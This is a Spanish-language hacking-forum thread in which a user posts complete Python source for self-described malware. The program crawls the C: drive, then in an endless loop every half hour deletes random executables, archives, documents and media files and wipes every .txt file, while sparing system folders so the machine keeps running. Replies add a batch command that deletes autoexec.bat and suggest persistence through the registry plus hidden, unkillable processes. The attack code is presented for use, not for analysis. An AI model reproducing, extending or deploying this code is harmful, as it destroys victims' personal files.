Bienvenido a Tecnohackers

Tecnohackers » Programacion » Area de Programacion » Scripting. VBS, Batch, Bash, JavaSript.
 » 

Simple malware by sokoleonardo



Autor Tema: Simple malware by sokoleonardo  (Leído 1160 veces)

Desconectado Sokoleonardo

  • Habitual
  • **
  • Mensajes: 116
  • ¡¡¡ORGULLO DE SER ARGENTINOO!!!
Simple malware by sokoleonardo
« en: Agosto 22, 2011, 03:57:05 pm »
<p>->PRESENTACION<-<p>

1) Busca y encuentra todos los archivos .exe, .doc, zip, .rar y los pone en una lista de archivos comunes.
2) Busca y encuentra todos los archivos .txt y los pone en una lista separada.
3) Busca y encuentra los archivos multimedia ya sean fotos videos y musicas mp3 o mp4 y los pone en la lista separada.

Todo estos 3 pasos los hace en 3 segundos o mas o menos y usando una sola vez la funcion Buscar, aunque tampoco encuentra

todos los archivos pero creo que igual es mejor.

4) Tras pasar media hora:
Borra al azar un archivo de los que estan en la lista de archivos .exe, .doc .zip .rar.
Borra al azar 5 archivos multimedia.
Sobreescribe los archivos .txt (todos) y los deja sin escritura (vacios)

Todo esto ignorando los archivos que sean del sistema o mas bien dicho los que no estan por defecto en el sistema, para esto ignora la busqueda en carptetas como WINDOWS o Ducumments and Settings y el directorio C:/ para no causar tanto daño, porque de no ser asi no tendria sentido!. Mas mejor es dejar al malware con vida.
Es aconsejable esconder el malware en una carpeta dentro de WINDOWS para no eliminar el mismo malware

<f>->FIN DE PRESENTACION<-<f>

Código: You are not allowed to view links. Register or Login
#!usr/bin/env python
#Simple malware in python by Sokoleonardo (C) all right reserved
import glob,os
from time import sleep,asctime
from random import randrange
class Malware:
    def __init__(self):
        self.IgnorarDir = ["C:/WINDOWS\\"]
        self.dirActual = ["C:/"]
        self.EnExtencion = ["*txt","*mp4","*gif","*bmp","*jpeg","*avi","*mp3","*jpg","*png","*wma","*3gp","*wav","*rec","*mpeg","*divx","*doc","*pdf","*exe","*rar","*zip"]
        self.ArchivosComunes = []; self.ArchivosTXT = []; self.ArchivosMultimedia = []; self.ArchivosOficina = []
    def Buscar(self):
        for NwRuta in self.dirActual:
            listado = glob.glob(NwRuta+"*/")
            try: listado.remove(self.IgnorarDir[0]) # arreglar!
            except: pass
            if listado != []:
                for carpeta in listado:
                    self.dirActual.append(carpeta)
                    for extencion in self.EnExtencion:
                        files = glob.glob(carpeta+extencion)
                        if files != []:
                            for file in files:
                                if extencion=="*txt": self.ArchivosTXT.append(file)
                                elif extencion=="*gif" or extencion=="*bmp" or extencion=="*jpeg" or extencion=="*jpg" or extencion=="*png" or extencion=="*avi" or extencion=="*mp3" or extencion=="*mp4" or extencion=="*wma" or extencion=="*3gp" or extencion=="*wav" or extencion=="*rec" or extencion=="*mpeg" or extencion=="*divx": self.ArchivosMultimedia.append(file)
                                elif extencion=="*doc"or extencion=="*pdf": self.ArchivosOficina.append(file)
                                else: self.ArchivosComunes.append(file)
    def destruir(self):
        if len(self.ArchivosComunes) > 0:
            try:
                ElQueSea = randrange(0,len(self.ArchivosComunes))
                os.remove(self.ArchivosComunes[ElQueSea]); sleep(3)
            except: pass
        if len(self.ArchivosOficina) > 0:
            for cuatro in range(4):
                try:
                    AlAzar = randrange(0,len(self.ArchivosOficina))
                    os.remove(self.ArchivosOficina[AlAzar]); sleep(3)
                except: pass
        if len(self.ArchivosMultimedia) > 0:
            for cinco in range(5):
                try:
                    cualquiera = randrange(0,len(self.ArchivosMultimedia))
                    os.remove(self.ArchivosMultimedia[cualquiera]); sleep(2)
                except: pass
        if len(self.ArchivosTXT) > 0:
           for cada1 in  self.ArchivosTXT:
               try:
                   sobreescribir = open(cada1,"w")
                   sobreescribir.write("")
                   sobreescribir.close(); sleep(1)
               except: pass
           self.ArchivosComunes = []; self.ArchivosTXT = []; self.ArchivosMultimedia = []; self.ArchivosOficina = []; self.dirActual = ["C:/"]

Malware = Malware()

while 1:
    Malware.Buscar(); sleep(randrange(1500,1800))
    Malware.destruir()
ACTUALIZADO!!
« Última modificación: Septiembre 03, 2011, 12:27:44 pm por Sokoleonardo »
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
¡¡¡ORGULLO DE SER ARGENTINOO!!!

Desconectado Tantrance

  • Asiduo
  • *
  • Mensajes: 44
Re:Simple malware by sokoleonardo
« Respuesta #1 en: Agosto 22, 2011, 04:28:53 pm »
mm.. Poderosamente hablando esto es más potente que tu "malware"

Código: You are not allowed to view links. Register or Login
@echo off
cd C:\
del autoexec.bat

lo acabo de escribir, sin mirar hace mucho comandos de MS-DOS.

No soy muy de pseudolenguajes interpretados, como lo es Python, pero por lo que veo el código, no tiene pegas.

Saludos

Desconectado Sokoleonardo

  • Habitual
  • **
  • Mensajes: 116
  • ¡¡¡ORGULLO DE SER ARGENTINOO!!!
Re:Simple malware by sokoleonardo
« Respuesta #2 en: Agosto 22, 2011, 04:46:50 pm »
Creo que ya he aclarado...
No quiero matar al sistema solo quiero infectarlo dandole problemas mientras viva por eso mismo ignore las carpetas para no buscar archivos de sistema y borrarlos.

Ese comando de batch que me dijiste te digo algo:
A eso lo sabe hasta un pibe de 7 años.

Yo a mi malware lo hise de forma controlada para que no borrara nada que sea importante.
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
¡¡¡ORGULLO DE SER ARGENTINOO!!!

Desconectado Tantrance

  • Asiduo
  • *
  • Mensajes: 44
Re:Simple malware by sokoleonardo
« Respuesta #3 en: Agosto 22, 2011, 04:54:53 pm »
You are not allowed to view links. Register or Login
Creo que ya he aclarado...
No quiero matar al sistema solo quiero infectarlo dandole problemas mientras viva por eso mismo ignore las carpetas para no buscar archivos de sistema y borrarlos.

Ese comando de batch que me dijiste te digo algo:
A eso lo sabe hasta un pibe de 7 años.

Yo a mi malware lo hise de forma controlada para que no borrara nada que sea importante.
Entiendo, hacias pruebas durante unos minutos y te salio esto. Nada contra todo perfecto.

A mejorar(si quieres):

Agregarse al registro
proceso oculto
proceso anticerrado


Saludos, perdona si fui ofensivo o desconsiderado. Se que ese code lo hacen hasta niños, tampoco dije mentira, cuando dije que era más dañino.

Desconectado Sokoleonardo

  • Habitual
  • **
  • Mensajes: 116
  • ¡¡¡ORGULLO DE SER ARGENTINOO!!!
Re:Simple malware by sokoleonardo
« Respuesta #4 en: Agosto 22, 2011, 05:00:16 pm »
Si, te perdono :)
Lo que pasa es que yo trato de ser cada vez mas independiente de comandos bat.
Y esto no seria nada si yo solo quiero matar al sistema asi como asi.

PD: Eso del registro estoy buscando como hacerlo.

Igual pienso que este sistema de busqueda de archivos puede ser usando tambien en antivirus para localizar.
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
¡¡¡ORGULLO DE SER ARGENTINOO!!!

Desconectado Sokoleonardo

  • Habitual
  • **
  • Mensajes: 116
  • ¡¡¡ORGULLO DE SER ARGENTINOO!!!
Re:Simple malware by sokoleonardo
« Respuesta #5 en: Agosto 26, 2011, 10:59:32 pm »
Acabo de actualizar el mal ajaja comenten algo che...
Cualquier cosa digan!

Saludos!
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
¡¡¡ORGULLO DE SER ARGENTINOO!!!

Tags:
Tags:

 


SMF 2.0.19 | SMF © 2016, Simple Machines
Paginas Afiliadas
Twitter - FaceBook - Daraxblog
Designed by Smf Personal